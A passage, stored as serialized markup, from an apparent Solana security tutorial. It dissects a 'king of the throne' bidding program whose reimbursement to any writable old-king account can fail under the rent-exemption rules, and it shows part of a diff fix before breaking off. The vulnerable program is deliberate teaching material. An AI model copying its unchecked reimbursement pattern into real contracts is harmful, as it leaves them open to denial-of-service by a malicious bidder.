type":24,"tag":83,"props":71544,"children":71545},{"style":107},[71546],{"type":29,"value":14418},{"type":24,"tag":83,"props":71548,"children":71549},{"style":143},[71550],{"type":29,"value":161},{"type":24,"tag":83,"props":71552,"children":71553},{"style":107},[71554],{"type":29,"value":71466},{"type":24,"tag":83,"props":71556,"children":71557},{"style":143},[71558],{"type":29,"value":161},{"type":24,"tag":83,"props":71560,"children":71561},{"style":101},[71562],{"type":29,"value":71563},"to_account_info",{"type":24,"tag":83,"props":71565,"children":71566},{"style":107},[71567],{"type":29,"value":3236},{"type":24,"tag":83,"props":71569,"children":71570},{"class":85,"line":1811},[71571,71576],{"type":24,"tag":83,"props":71572,"children":71573},{"style":137},[71574],{"type":29,"value":71575},"            bid_amount",{"type":24,"tag":83,"props":71577,"children":71578},{"style":107},[71579],{"type":29,"value":989},{"type":24,"tag":83,"props":71581,"children":71582},{"class":85,"line":8792},[71583,71588,71592],{"type":24,"tag":83,"props":71584,"children":71585},{"style":107},[71586],{"type":29,"value":71587},"        )",{"type":24,"tag":83,"props":71589,"children":71590},{"style":143},[71591],{"type":29,"value":2900},{"type":24,"tag":83,"props":71593,"children":71594},{"style":107},[71595],{"type":29,"value":321},{"type":24,"tag":83,"props":71597,"children":71598},{"class":85,"line":8810},[71599],{"type":24,"tag":83,"props":71600,"children":71601},{"emptyLinePlaceholder":16},[71602],{"type":29,"value":3422},{"type":24,"tag":83,"props":71604,"children":71605},{"class":85,"line":8855},[71606],{"type":24,"tag":83,"props":71607,"children":71608},{"style":2735},[71609],{"type":29,"value":71610},"        // Reimburse 95% of the last bid to the old king\n",{"type":24,"tag":83,"props":71612,"children":71613},{"class":85,"line":8961},[71614,71618,71623,71627,71631,71635,71639,71643,71647,71651,71655,71659,71663,71668,71672,71676,71681],{"type":24,"tag":83,"props":71615,"children":71616},{"style":90},[71617],{"type":29,"value":2809},{"type":24,"tag":83,"props":71619,"children":71620},{"style":137},[71621],{"type":29,"value":71622}," to_reimburse",{"type":24,"tag":83,"props":71624,"children":71625},{"style":143},[71626],{"type":29,"value":146},{"type":24,"tag":83,"props":71628,"children":71629},{"style":107},[71630],{"type":29,"value":223},{"type":24,"tag":83,"props":71632,"children":71633},{"style":137},[71634],{"type":29,"value":20021},{"type":24,"tag":83,"props":71636,"children":71637},{"style":143},[71638],{"type":29,"value":161},{"type":24,"tag":83,"props":71640,"children":71641},{"style":107},[71642],{"type":29,"value":14418},{"type":24,"tag":83,"props":71644,"children":71645},{"style":143},[71646],{"type":29,"value":161},{"type":24,"tag":83,"props":71648,"children":71649},{"style":107},[71650],{"type":29,"value":71466},{"type":24,"tag":83,"props":71652,"children":71653},{"style":143},[71654],{"type":29,"value":161},{"type":24,"tag":83,"props":71656,"children":71657},{"style":107},[71658],{"type":29,"value":71475},{"type":24,"tag":83,"props":71660,"children":71661},{"style":143},[71662],{"type":29,"value":4315},{"type":24,"tag":83,"props":71664,"children":71665},{"style":245},[71666],{"type":29,"value":71667}," 9500",{"type":24,"tag":83,"props":71669,"children":71670},{"style":107},[71671],{"type":29,"value":633},{"type":24,"tag":83,"props":71673,"children":71674},{"style":143},[71675],{"type":29,"value":4325},{"type":24,"tag":83,"props":71677,"children":71678},{"style":245},[71679],{"type":29,"value":71680}," 10000",{"type":24,"tag":83,"props":71682,"children":71683},{"style":107},[71684],{"type":29,"value":321},{"type":24,"tag":83,"props":71686,"children":71687},{"class":85,"line":23248},[71688,71693],{"type":24,"tag":83,"props":71689,"children":71690},{"style":101},[71691],{"type":29,"value":71692},"        transfer_from_pda",{"type":24,"tag":83,"props":71694,"children":71695},{"style":107},[71696],{"type":29,"value":3208},{"type":24,"tag":83,"props":71698,"children":71699},{"class":85,"line":23283},[71700,71704,71708,71712,71716,71720,71724,71728,71732],{"type":24,"tag":83,"props":71701,"children":71702},{"style":143},[71703],{"type":29,"value":7432},{"type":24,"tag":83,"props":71705,"children":71706},{"style":137},[71707],{"type":29,"value":20021},{"type":24,"tag":83,"props":71709,"children":71710},{"style":143},[71711],{"type":29,"value":161},{"type":24,"tag":83,"props":71713,"children":71714},{"style":107},[71715],{"type":29,"value":14418},{"type":24,"tag":83,"props":71717,"children":71718},{"style":143},[71719],{"type":29,"value":161},{"type":24,"tag":83,"props":71721,"children":71722},{"style":107},[71723],{"type":29,"value":71466},{"type":24,"tag":83,"props":71725,"children":71726},{"style":143},[71727],{"type":29,"value":161},{"type":24,"tag":83,"props":71729,"children":71730},{"style":101},[71731],{"type":29,"value":71563},{"type":24,"tag":83,"props":71733,"children":71734},{"style":107},[71735],{"type":29,"value":3236},{"type":24,"tag":83,"props":71737,"children":71738},{"class":85,"line":23291},[71739,71743,71747,71751,71755,71759],{"type":24,"tag":83,"props":71740,"children":71741},{"style":143},[71742],{"type":29,"value":7432},{"type":24,"tag":83,"props":71744,"children":71745},{"style":137},[71746],{"type":29,"value":20021},{"type":24,"tag":83,"props":71748,"children":71749},{"style":143},[71750],{"type":29,"value":161},{"type":24,"tag":83,"props":71752,"children":71753},{"style":107},[71754],{"type":29,"value":14418},{"type":24,"tag":83,"props":71756,"children":71757},{"style":143},[71758],{"type":29,"value":161},{"type":24,"tag":83,"props":71760,"children":71761},{"style":107},[71762],{"type":29,"value":71763},"old_king,\n",{"type":24,"tag":83,"props":71765,"children":71766},{"class":85,"line":23299},[71767,71772],{"type":24,"tag":83,"props":71768,"children":71769},{"style":137},[71770],{"type":29,"value":71771},"            to_reimburse",{"type":24,"tag":83,"props":71773,"children":71774},{"style":107},[71775],{"type":29,"value":989},{"type":24,"tag":83,"props":71777,"children":71778},{"class":85,"line":23308},[71779,71783,71787],{"type":24,"tag":83,"props":71780,"children":71781},{"style":107},[71782],{"type":29,"value":71587},{"type":24,"tag":83,"props":71784,"children":71785},{"style":143},[71786],{"type":29,"value":2900},{"type":24,"tag":83,"props":71788,"children":71789},{"style":107},[71790],{"type":29,"value":321},{"type":24,"tag":83,"props":71792,"children":71793},{"class":85,"line":23350},[71794],{"type":24,"tag":83,"props":71795,"children":71796},{"emptyLinePlaceholder":16},[71797],{"type":29,"value":3422},{"type":24,"tag":83,"props":71799,"children":71800},{"class":85,"line":23383},[71801],{"type":24,"tag":83,"props":71802,"children":71803},{"style":2735},[71804],{"type":29,"value":71805},"        // Set new king\n",{"type":24,"tag":83,"props":71807,"children":71808},{"class":85,"line":23391},[71809,71813,71817,71821,71825,71829,71833,71838,71842,71846,71850,71854,71858,71863,71867,71872],{"type":24,"tag":83,"props":71810,"children":71811},{"style":137},[71812],{"type":29,"value":25935},{"type":24,"tag":83,"props":71814,"children":71815},{"style":143},[71816],{"type":29,"value":161},{"type":24,"tag":83,"props":71818,"children":71819},{"style":107},[71820],{"type":29,"value":14418},{"type":24,"tag":83,"props":71822,"children":71823},{"style":143},[71824],{"type":29,"value":161},{"type":24,"tag":83,"props":71826,"children":71827},{"style":107},[71828],{"type":29,"value":71466},{"type":24,"tag":83,"props":71830,"children":71831},{"style":143},[71832],{"type":29,"value":161},{"type":24,"tag":83,"props":71834,"children":71835},{"style":107},[71836],{"type":29,"value":71837},"king ",{"type":24,"tag":83,"props":71839,"children":71840},{"style":143},[71841],{"type":29,"value":1275},{"type":24,"tag":83,"props":71843,"children":71844},{"style":137},[71845],{"type":29,"value":25592},{"type":24,"tag":83,"props":71847,"children":71848},{"style":143},[71849],{"type":29,"value":161},{"type":24,"tag":83,"props":71851,"children":71852},{"style":107},[71853],{"type":29,"value":14418},{"type":24,"tag":83,"props":71855,"children":71856},{"style":143},[71857],{"type":29,"value":161},{"type":24,"tag":83,"props":71859,"children":71860},{"style":107},[71861],{"type":29,"value":71862},"new_king",{"type":24,"tag":83,"props":71864,"children":71865},{"style":143},[71866],{"type":29,"value":161},{"type":24,"tag":83,"props":71868,"children":71869},{"style":101},[71870],{"type":29,"value":71871},"key",{"type":24,"tag":83,"props":71873,"children":71874},{"style":107},[71875],{"type":29,"value":267},{"type":24,"tag":83,"props":71877,"children":71878},{"class":85,"line":23399},[71879,71883,71887,71891,71895,71899,71903,71907,71911,71916],{"type":24,"tag":83,"props":71880,"children":71881},{"style":137},[71882],{"type":29,"value":25935},{"type":24,"tag":83,"props":71884,"children":71885},{"style":143},[71886],{"type":29,"value":161},{"type":24,"tag":83,"props":71888,"children":71889},{"style":107},[71890],{"type":29,"value":14418},{"type":24,"tag":83,"props":71892,"children":71893},{"style":143},[71894],{"type":29,"value":161},{"type":24,"tag":83,"props":71896,"children":71897},{"style":107},[71898],{"type":29,"value":71466},{"type":24,"tag":83,"props":71900,"children":71901},{"style":143},[71902],{"type":29,"value":161},{"type":24,"tag":83,"props":71904,"children":71905},{"style":107},[71906],{"type":29,"value":71475},{"type":24,"tag":83,"props":71908,"children":71909},{"style":143},[71910],{"type":29,"value":1275},{"type":24,"tag":83,"props":71912,"children":71913},{"style":137},[71914],{"type":29,"value":71915}," bid_amount",{"type":24,"tag":83,"props":71917,"children":71918},{"style":107},[71919],{"type":29,"value":321},{"type":24,"tag":83,"props":71921,"children":71922},{"class":85,"line":23408},[71923,71927,71931,71935,71939,71943,71947,71952,71956,71961,71965,71969,71973,71977,71982,71986,71990],{"type":24,"tag":83,"props":71924,"children":71925},{"style":137},[71926],{"type":29,"value":25935},{"type":24,"tag":83,"props":71928,"children":71929},{"style":143},[71930],{"type":29,"value":161},{"type":24,"tag":83,"props":71932,"children":71933},{"style":107},[71934],{"type":29,"value":14418},{"type":24,"tag":83,"props":71936,"children":71937},{"style":143},[71938],{"type":29,"value":161},{"type":24,"tag":83,"props":71940,"children":71941},{"style":107},[71942],{"type":29,"value":71466},{"type":24,"tag":83,"props":71944,"children":71945},{"style":143},[71946],{"type":29,"value":161},{"type":24,"tag":83,"props":71948,"children":71949},{"style":107},[71950],{"type":29,"value":71951},"last_time ",{"type":24,"tag":83,"props":71953,"children":71954},{"style":143},[71955],{"type":29,"value":1275},{"type":24,"tag":83,"props":71957,"children":71958},{"style":3163},[71959],{"type":29,"value":71960}," Clock",{"type":24,"tag":83,"props":71962,"children":71963},{"style":143},[71964],{"type":29,"value":3226},{"type":24,"tag":83,"props":71966,"children":71967},{"style":101},[71968],{"type":29,"value":619},{"type":24,"tag":83,"props":71970,"children":71971},{"style":107},[71972],{"type":29,"value":13624},{"type":24,"tag":83,"props":71974,"children":71975},{"style":143},[71976],{"type":29,"value":2877},{"type":24,"tag":83,"props":71978,"children":71979},{"style":107},[71980],{"type":29,"value":71981},"unix_timestamp ",{"type":24,"tag":83,"props":71983,"children":71984},{"style":90},[71985],{"type":29,"value":8586},{"type":24,"tag":83,"props":71987,"children":71988},{"style":3163},[71989],{"type":29,"value":5606},{"type":24,"tag":83,"props":71991,"children":71992},{"style":107},[71993],{"type":29,"value":321},{"type":24,"tag":83,"props":71995,"children":71996},{"class":85,"line":23484},[71997],{"type":24,"tag":83,"props":71998,"children":71999},{"emptyLinePlaceholder":16},[72000],{"type":29,"value":3422},{"type":24,"tag":83,"props":72002,"children":72003},{"class":85,"line":23517},[72004,72008],{"type":24,"tag":83,"props":72005,"children":72006},{"style":3163},[72007],{"type":29,"value":14554},{"type":24,"tag":83,"props":72009,"children":72010},{"style":107},[72011],{"type":29,"value":14081},{"type":24,"tag":83,"props":72013,"children":72014},{"class":85,"line":23525},[72015],{"type":24,"tag":83,"props":72016,"children":72017},{"style":107},[72018],{"type":29,"value":446},{"type":24,"tag":83,"props":72020,"children":72021},{"class":85,"line":23533},[72022],{"type":24,"tag":83,"props":72023,"children":72024},{"style":107},[72025],{"type":29,"value":464},{"type":24,"tag":25,"props":72027,"children":72028},{},[72029],{"type":29,"value":72030},"Note this comment:",{"type":24,"tag":2677,"props":72032,"children":72033},{},[72034],{"type":24,"tag":25,"props":72035,"children":72036},{},[72037],{"type":29,"value":72038},"any writable account is allowed as a new king.",{"type":24,"tag":25,"props":72040,"children":72041},{},[72042],{"type":29,"value":72043},"...Is our assumption correct?",{"type":24,"tag":51,"props":72045,"children":72047},{"id":72046},"the-bugs-lurking-beneath",[72048],{"type":29,"value":72049},"The Bugs Lurking Beneath",{"type":24,"tag":1818,"props":72051,"children":72053},{"id":72052},"bug-1-the-rent-exemption-trap",[72054],{"type":29,"value":72055},"Bug 1: The Rent-Exemption Trap",{"type":24,"tag":25,"props":72057,"children":72058},{},[72059,72061,72066],{"type":29,"value":72060},"On Solana, all accounts must maintain a ",{"type":24,"tag":2040,"props":72062,"children":72063},{},[72064],{"type":29,"value":72065},"minimum balance",{"type":29,"value":72067}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":24,"tag":16422,"props":72069,"children":72070},{},[72071,72086],{"type":24,"tag":67,"props":72072,"children":72073},{},[72074,72079,72080],{"type":24,"tag":2040,"props":72075,"children":72076},{},[72077],{"type":29,"value":72078},"Uninitialized",{"type":29,"value":1920},{"type":24,"tag":32,"props":72081,"children":72083},{"className":72082},[],[72084],{"type":29,"value":72085},"lamports = 0",{"type":24,"tag":67,"props":72087,"children":72088},{},[72089,72094,72095],{"type":24,"tag":2040,"props":72090,"children":72091},{},[72092],{"type":29,"value":72093},"Initialized",{"type":29,"value":1920},{"type":24,"tag":32,"props":72096,"children":72098},{"className":72097},[],[72099],{"type":29,"value":72100},"lamports >= rent-exempt threshold",{"type":24,"tag":25,"props":72102,"children":72103},{},[72104,72106,72111],{"type":29,"value":72105},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":24,"tag":2040,"props":72107,"children":72108},{},[72109],{"type":29,"value":72110},"account metadata",{"type":29,"value":72112}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":24,"tag":25,"props":72114,"children":72115},{},[72116,72118,72124],{"type":29,"value":72117},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":24,"tag":32,"props":72119,"children":72121},{"className":72120},[],[72122],{"type":29,"value":72123},"data.len() == 0",{"type":29,"value":72125}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":24,"tag":25,"props":72127,"children":72128},{},[72129,72131,72137],{"type":29,"value":72130},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":24,"tag":2033,"props":72132,"children":72135},{"href":72133,"rel":72134},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[2037],[72136],{"type":29,"value":47303},{"type":29,"value":161},{"type":24,"tag":73,"props":72139,"children":72141},{"className":2725,"code":72140,"language":2724,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[72142],{"type":24,"tag":32,"props":72143,"children":72144},{"__ignoreMap":7},[72145,72229,72246,72292,72312,72333,72354,72369,72386,72430,72449,72470,72491,72507,72515,72548,72555,72562,72569,72576],{"type":24,"tag":83,"props":72146,"children":72147},{"class":85,"line":86},[72148,72153,72158,72162,72166,72170,72174,72179,72183,72187,72192,72196,72201,72205,72209,72213,72217,72221,72225],{"type":24,"tag":83,"props":72149,"children":72150},{"style":90},[72151],{"type":29,"value":72152},"    fn",{"type":24,"tag":83,"props":72154,"children":72155},{"style":101},[72156],{"type":29,"value":72157}," transition_allowed",{"type":24,"tag":83,"props":72159,"children":72160},{"style":107},[72161],{"type":29,"value":558},{"type":24,"tag":83,"props":72163,"children":72164},{"style":143},[72165],{"type":29,"value":2853},{"type":24,"tag":83,"props":72167,"children":72168},{"style":90},[72169],{"type":29,"value":13458},{"type":24,"tag":83,"props":72171,"children":72172},{"style":107},[72173],{"type":29,"value":568},{"type":24,"tag":83,"props":72175,"children":72176},{"style":137},[72177],{"type":29,"value":72178},"pre_rent_state",{"type":24,"tag":83,"props":72180,"children":72181},{"style":143},[72182],{"type":29,"value":195},{"type":24,"tag":83,"props":72184,"children":72185},{"style":143},[72186],{"type":29,"value":6888},{"type":24,"tag":83,"props":72188,"children":72189},{"style":3163},[72190],{"type":29,"value":72191},"RentState",{"type":24,"tag":83,"props":72193,"children":72194},{"style":107},[72195],{"type":29,"value":568},{"type":24,"tag":83,"props":72197,"children":72198},{"style":137},[72199],{"type":29,"value":72200},"post_rent_state",{"type":24,"tag":83,"props":72202,"children":72203},{"style":143},[72204],{"type":29,"value":195},{"type":24,"tag":83,"props":72206,"children":72207},{"style":143},[72208],{"type":29,"value":6888},{"type":24,"tag":83,"props":72210,"children":72211},{"style":3163},[72212],{"type":29,"value":72191},{"type":24,"tag":83,"props":72214,"children":72215},{"style":107},[72216],{"type":29,"value":633},{"type":24,"tag":83,"props":72218,"children":72219},{"style":143},[72220],{"type":29,"value":13502},{"type":24,"tag":83,"props":72222,"children":72223},{"style":3163},[72224],{"type":29,"value":11797},{"type":24,"tag":83,"props":72226,"children":72227},{"style":107},[72228],{"type":29,"value":125},{"type":24,"tag":83,"props":72230,"children":72231},{"class":85,"line":113},[72232,72237,72242],{"type":24,"tag":83,"props":72233,"children":72234},{"style":117},[72235],{"type":29,"value":72236},"        match",{"type":24,"tag":83,"props":72238,"children":72239},{"style":137},[72240],{"type":29,"value":72241}," post_rent_state",{"type":24,"tag":83,"props":72243,"children":72244},{"style":107},[72245],{"type":29,"value":125},{"type":24,"tag":83,"props":72247,"children":72248},{"class":85,"line":128},[72249,72254,72258,72262,72266,72271,72275,72280,72284,72288],{"type":24,"tag":83,"props":72250,"children":72251},{"style":3163},[72252],{"type":29,"value":72253},"            RentState",{"type":24,"tag":83,"props":72255,"children":72256},{"style":143},[72257],{"type":29,"value":3226},{"type":24,"tag":83,"props":72259,"children":72260},{"style":3163},[72261],{"type":29,"value":72078},{"type":24,"tag":83,"props":72263,"children":72264},{"style":143},[72265],{"type":29,"value":4014},{"type":24,"tag":83,"props":72267,"children":72268},{"style":3163},[72269],{"type":29,"value":72270}," RentState",{"type":24,"tag":83,"props":72272,"children":72273},{"style":143},[72274],{"type":29,"value":3226},{"type":24,"tag":83,"props":72276,"children":72277},{"style":3163},[72278],{"type":29,"value":72279},"RentExempt",{"type":24,"tag":83,"props":72281,"children":72282},{"style":143},[72283],{"type":29,"value":27502},{"type":24,"tag":83,"props":72285,"children":72286},{"style":90},[72287],{"type":29,"value":12215},{"type":24,"tag":83,"props":72289,"children":72290},{"style":107},[72291],{"type":29,"value":989},{"type":24,"tag":83,"props":72293,"children":72294},{"class":85,"line":183},[72295,72299,72303,72308],{"type":24,"tag":83,"props":72296,"children":72297},{"style":3163},[72298],{"type":29,"value":72253},{"type":24,"tag":83,"props":72300,"children":72301},{"style":143},[72302],{"type":29,"value":3226},{"type":24,"tag":83,"props":72304,"children":72305},{"style":3163},[72306],{"type":29,"value":72307},"RentPaying",{"type":24,"tag":83,"props":72309,"children":72310},{"style":107},[72311],{"type":29,"value":125},{"type":24,"tag":83,"props":72313,"children":72314},{"class":85,"line":203},[72315,72320,72324,72329],{"type":24,"tag":83,"props":72316,"children":72317},{"style":137},[72318],{"type":29,"value":72319},"                data_size",{"type":24,"tag":83,"props":72321,"children":72322},{"style":143},[72323],{"type":29,"value":195},{"type":24,"tag":83,"props":72325,"children":72326},{"style":137},[72327],{"type":29,"value":72328}," post_data_size",{"type":24,"tag":83,"props":72330,"children":72331},{"style":107},[72332],{"type":29,"value":989},{"type":24,"tag":83,"props":72334,"children":72335},{"class":85,"line":212},[72336,72341,72345,72350],{"type":24,"tag":83,"props":72337,"children":72338},{"style":137},[72339],{"type":29,"value":72340},"                lamports",{"type":24,"tag":83,"props":72342,"children":72343},{"style":143},[72344],{"type":29,"value":195},{"type":24,"tag":83,"props":72346,"children":72347},{"style":137},[72348],{"type":29,"value":72349}," post_lamports",{"type":24,"tag":83,"props":72351,"children":72352},{"style":107},[72353],{"type":29,"value":989},{"type":24,"tag":83,"props":72355,"children":72356},{"class":85,"line":256},[72357,72361,72365],{"type":24,"tag":83,"props":72358,"children":72359},{"style":107},[72360],{"type":29,"value":70309},{"type":24,"tag":83,"props":72362,"children":72363},{"style":143},[72364],{"type":29,"value":14564},{"type":24,"tag":83,"props":72366,"children":72367},{"style":107},[72368],{"type":29,"value":125},{"type":24,"tag":83,"props":72370,"children":72371},{"class":85,"line":270},[72372,72377,72382],{"type":24,"tag":83,"props":72373,"children":72374},{"style":117},[72375],{"type":29,"value":72376},"                match",{"type":24,"tag":83,"props":72378,"children":72379},{"style":137},[72380],{"type":29,"value":72381}," pre_rent_state",{"type":24,"tag":83,"props":72383,"children":72384},{"style":107},[72385],{"type":29,"value":125},{"type":24,"tag":83,"props":72387,"children":72388},{"class":85,"line":302},[72389,72394,72398,72402,72406,72410,72414,72418,72422,72426],{"type":24,"tag":83,"props":72390,"children":72391},{"style":3163},[72392],{"type":29,"value":72393},"                    RentState",{"type":24,"tag":83,"props":72395,"children":72396},{"style":143},[72397],{"type":29,"value":3226},{"type":24,"tag":83,"props":72399,"children":72400},{"style":3163},[72401],{"type":29,"value":72078},{"type":24,"tag":83,"props":72403,"children":72404},{"style":143},[72405],{"type":29,"value":4014},{"type":24,"tag":83,"props":72407,"children":72408},{"style":3163},[72409],{"type":29,"value":72270},{"type":24,"tag":83,"props":72411,"children":72412},{"style":143},[72413],{"type":29,"value":3226},{"type":24,"tag":83,"props":72415,"children":72416},{"style":3163},[72417],{"type":29,"value":72279},{"type":24,"tag":83,"props":72419,"children":72420},{"style":143},[72421],{"type":29,"value":27502},{"type":24,"tag":83,"props":72423,"children":72424},{"style":90},[72425],{"type":29,"value":8803},{"type":24,"tag":83,"props":72427,"children":72428},{"style":107},[72429],{"type":29,"value":989},{"type":24,"tag":83,"props":72431,"children":72432},{"class":85,"line":324},[72433,72437,72441,72445],{"type":24,"tag":83,"props":72434,"children":72435},{"style":3163},[72436],{"type":29,"value":72393},{"type":24,"tag":83,"props":72438,"children":72439},{"style":143},[72440],{"type":29,"value":3226},{"type":24,"tag":83,"props":72442,"children":72443},{"style":3163},[72444],{"type":29,"value":72307},{"type":24,"tag":83,"props":72446,"children":72447},{"style":107},[72448],{"type":29,"value":125},{"type":24,"tag":83,"props":72450,"children":72451},{"class":85,"line":345},[72452,72457,72461,72466],{"type":24,"tag":83,"props":72453,"children":72454},{"style":137},[72455],{"type":29,"value":72456},"                        data_size",{"type":24,"tag":83,"props":72458,"children":72459},{"style":143},[72460],{"type":29,"value":195},{"type":24,"tag":83,"props":72462,"children":72463},{"style":137},[72464],{"type":29,"value":72465}," pre_data_size",{"type":24,"tag":83,"props":72467,"children":72468},{"style":107},[72469],{"type":29,"value":989},{"type":24,"tag":83,"props":72471,"children":72472},{"class":85,"line":358},[72473,72478,72482,72487],{"type":24,"tag":83,"props":72474,"children":72475},{"style":137},[72476],{"type":29,"value":72477},"                        lamports",{"type":24,"tag":83,"props":72479,"children":72480},{"style":143},[72481],{"type":29,"value":195},{"type":24,"tag":83,"props":72483,"children":72484},{"style":137},[72485],{"type":29,"value":72486}," pre_lamports",{"type":24,"tag":83,"props":72488,"children":72489},{"style":107},[72490],{"type":29,"value":989},{"type":24,"tag":83,"props":72492,"children":72493},{"class":85,"line":367},[72494,72499,72503],{"type":24,"tag":83,"props":72495,"children":72496},{"style":107},[72497],{"type":29,"value":72498},"                    } ",{"type":24,"tag":83,"props":72500,"children":72501},{"style":143},[72502],{"type":29,"value":14564},{"type":24,"tag":83,"props":72504,"children":72505},{"style":107},[72506],{"type":29,"value":125},{"type":24,"tag":83,"props":72508,"children":72509},{"class":85,"line":406},[72510],{"type":24,"tag":83,"props":72511,"children":72512},{"style":2735},[72513],{"type":29,"value":72514},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":24,"tag":83,"props":72516,"children":72517},{"class":85,"line":427},[72518,72523,72527,72531,72535,72539,72543],{"type":24,"tag":83,"props":72519,"children":72520},{"style":137},[72521],{"type":29,"value":72522},"                        post_data_size",{"type":24,"tag":83,"props":72524,"children":72525},{"style":143},[72526],{"type":29,"value":3028},{"type":24,"tag":83,"props":72528,"children":72529},{"style":137},[72530],{"type":29,"value":72465},{"type":24,"tag":83,"props":72532,"children":72533},{"style":143},[72534],{"type":29,"value":1126},{"type":24,"tag":83,"props":72536,"children":72537},{"style":137},[72538],{"type":29,"value":72349},{"type":24,"tag":83,"props":72540,"children":72541},{"style":143},[72542],{"type":29,"value":7942},{"type":24,"tag":83,"props":72544,"children":72545},{"style":137},[72546],{"type":29,"value":72547}," pre_lamports\n",{"type":24,"tag":83,"props":72549,"children":72550},{"class":85,"line":440},[72551],{"type":24,"tag":83,"props":72552,"children":72553},{"style":107},[72554],{"type":29,"value":70778},{"type":24,"tag":83,"props":72556,"children":72557},{"class":85,"line":449},[72558],{"type":24,"tag":83,"props":72559,"children":72560},{"style":107},[72561],{"type":29,"value":70786},{"type":24,"tag":83,"props":72563,"children":72564},{"class":85,"line":458},[72565],{"type":24,"tag":83,"props":72566,"children":72567},{"style":107},[72568],{"type":29,"value":58599},{"type":24,"tag":83,"props":72570,"children":72571},{"class":85,"line":1065},[72572],{"type":24,"tag":83,"props":72573,"children":72574},{"style":107},[72575],{"type":29,"value":3092},{"type":24,"tag":83,"props":72577,"children":72578},{"class":85,"line":1668},[72579],{"type":24,"tag":83,"props":72580,"children":72581},{"style":107},[72582],{"type":29,"value":446},{"type":24,"tag":25,"props":72584,"children":72585},{},[72586],{"type":29,"value":72587},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":24,"tag":73,"props":72589,"children":72591},{"className":3988,"code":72590,"language":3987,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[72592],{"type":24,"tag":32,"props":72593,"children":72594},{"__ignoreMap":7},[72595,72611],{"type":24,"tag":83,"props":72596,"children":72597},{"class":85,"line":86},[72598,72602,72607],{"type":24,"tag":83,"props":72599,"children":72600},{"style":101},[72601],{"type":29,"value":2623},{"type":24,"tag":83,"props":72603,"children":72604},{"style":187},[72605],{"type":29,"value":72606}," rent",{"type":24,"tag":83,"props":72608,"children":72609},{"style":245},[72610],{"type":29,"value":24029},{"type":24,"tag":83,"props":72612,"children":72613},{"class":85,"line":113},[72614,72619,72624,72629],{"type":24,"tag":83,"props":72615,"children":72616},{"style":101},[72617],{"type":29,"value":72618},"Rent-exempt",{"type":24,"tag":83,"props":72620,"children":72621},{"style":187},[72622],{"type":29,"value":72623}," minimum:",{"type":24,"tag":83,"props":72625,"children":72626},{"style":245},[72627],{"type":29,"value":72628}," 0.00089088",{"type":24,"tag":83,"props":72630,"children":72631},{"style":187},[72632],{"type":29,"value":72633}," SOL\n",{"type":24,"tag":18631,"props":72635,"children":72637},{"id":72636},"fix-1-only-reimburse-if-rent-exempt",[72638],{"type":29,"value":72639},"Fix 1: Only Reimburse if Rent-Exempt",{"type":24,"tag":25,"props":72641,"children":72642},{},[72643],{"type":29,"value":72644},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":24,"tag":73,"props":72646,"children":72648},{"className":40076,"code":72647,"language":40078,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[72649],{"type":24,"tag":32,"props":72650,"children":72651},{"__ignoreMap":7},[72652,72660,72668,72676,72684,72692,72700,72708,72716,72724],{"type":24,"tag":83,"props":72653,"children":72654},{"class":85,"line":86},[72655],{"type":24,"tag":83,"props":72656,"children":72657},{"style":107},[72658],{"type":29,"value":72659},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":24,"tag":83,"props":72661,"children":72662},{"class":85,"line":113},[72663],{"type":24,"tag":83,"props":72664,"children":72665},{"style":245},[72666],{"type":29,"value":72667},"+let rent = Rent::get()?;\n",{"type":24,"tag":83,"props":72669,"children":72670},{"class":85,"line":128},[72671],{"type":24,"tag":83,"props":72672,"children":72673},{"style":245},[72674],{"type":29,"value":72675},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":24,"tag":83,"props":72677,"children":72678},{"class":85,"line":183},[72679],{"type":24,"tag":83,"props":72680,"children":72681},{"style":245},[72682],{"type":29,"value":72683},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":24,"tag":83,"props":72685,"children":72686},{"class":85,"line":203},[72687],{"type":24,"tag":83,"props":72688,"children":72689},{"style":107},[72690],{"type":29,"value":72691},"    transfer_from_pda(\n",{"type":24,"tag":83,"props":72693,"children":72694},{"class":85,"line":212},[72695],{"type":24,"tag":83,"props":72696,"children":72697},{"style":107},[72698],{"type":29,"value":72699},"        &ctx.accounts.throne.to_account_info(),\n",{"type":24,"tag":83,"props":72701,"children":72702},{"class":85,"line":256},[72703],{"type":24,"tag":83,"props":72704,"children":72705},{"style":107},[72706],{"type":29,"value":72707},"        